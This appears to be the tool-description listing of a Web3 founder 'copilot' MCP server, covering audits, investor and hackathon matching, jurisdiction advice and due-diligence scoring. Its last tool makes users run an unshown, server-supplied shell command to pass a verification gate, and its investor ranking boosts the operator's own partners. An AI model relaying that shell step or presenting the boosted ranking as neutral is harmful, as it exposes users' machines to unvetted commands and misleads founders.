io.github.Apex-Foundation/copilot-mcp

Run a preliminary security audit on a Web3 project's smart contracts. Accepts a public GitHub repo URL (Solidity and/or Rust) or pasted Solidity source. Runs static analysers (Slither, cargo-audit, clippy) in a sandbox plus an AI review pass, returning a 0-100 score across 5 dimensions (security, code quality, dependencies, testing, documentation), prioritized findings with severity and file/line refs, and recommendations. Use this when asked to audit, review, or assess the security of a project's contracts or on-chain code. This is a first-pass triage, not a substitute for a professional audit. Audits run async: for a large repo this tool may return an audit_id and ask you to call it again with that audit_id to fetch the finished report. Limited to 3 submissions per day.

Find Web3 funds, angels, accelerators, family offices and CEX venture arms most likely to back the founder's project. Returns a ranked list with similarity scores, recent investments, tier, geography, and a one-sentence rationale (whyMatch) for each. Apex partners (every fund in the index) get a small priority boost — we have direct intros to all of them. Use this when a founder asks who to approach for funding, which lead investors fit their stage and sector, or which CEX venture arms could double as listing path. Filters: stage, chain, sector, check size, lookingForLead.

Find upcoming Web3 hackathons that match a project description, and optionally surface prior hackathon projects that built something similar. Use this when a founder asks where they could enter their project, whether anyone has built a similar idea before (set `searchPriorBuilds: true`), or to scope timeline / prize-pool / chain fit. Indexed sources include ETHGlobal, Devfolio, Devpost (Web3-filtered), Colosseum, plus a registry of major annual events.

Recommend the best legal jurisdiction for a Web3 project. Covers 28 crypto-native domiciles (UAE ADGM, VARA, RAK DAO, DMCC, Hong Kong, Singapore, Cayman, BVI, Bermuda, Switzerland, Liechtenstein, EU MiCA, Malta, Lithuania, Estonia, Gibraltar, UK, Bahamas, Delaware, Wyoming DAO LLC, Marshall Islands, Mauritius, Seychelles, Isle of Man, Jersey, Japan, Korea, Panama, El Salvador). Returns a ranked verdict with the recommended pick, why it wins for this specific project, the trade-off the founder should accept, and alternates with the conditions under which they should be used. Use this when the founder is incorporating, restructuring, or evaluating a domicile their lawyer recommended.

Find Apex portfolio projects most similar to the founder's idea or company description. Returns a ranked list with similarity scores, a one-sentence rationale (whyMatch) and a short founder-applicable lesson (shortLesson) for each match. Use this to surface which Apex portfolio companies are closest to a project the founder is asking about, identify potential reference customers, or check thesis overlap before pitching Apex.

Run the Apex Copilot DD pre-screen on a Web3 project. Scores against five dimensions (team 20%, traction 25%, tokenomics 20%, market 20%, security 15%) and returns a breakdown plus actionable recommendations. A score of 85 or above shortens manual due diligence when the project later engages with Apex. The agent should extract short excerpts from the founder's deck or whitepaper locally and pass them as `files[].excerpt`. Full file contents must NOT be transmitted.

Audit the X (Twitter) account of a Web3 project and produce a 0-100 social presence score. Returns a breakdown across 5 dimensions (reach, activity, engagement, authenticity, discourse), a written summary, specific recommendations, raw metrics (follower count, engagement rate, posting cadence), and any overlap with Apex-network funds. Use this when asked to evaluate a project's social presence, check for inflated metrics, or see which Apex funds have engaged with a project on Twitter.

Reset the Apex Copilot verification gate after the user has obtained a verification code. Call this once the user has either completed the verify procedure (running the OS-matching shell command shown in the verify_required response, or completing the manual verify panel at arena.apexfdn.xyz/dashboard/copilot) and shared the resulting code. On success the per-token request counter resets and the original tool call that triggered verify_required can be retried. The verify endpoint is gate-immune so this tool will never itself return verify_required.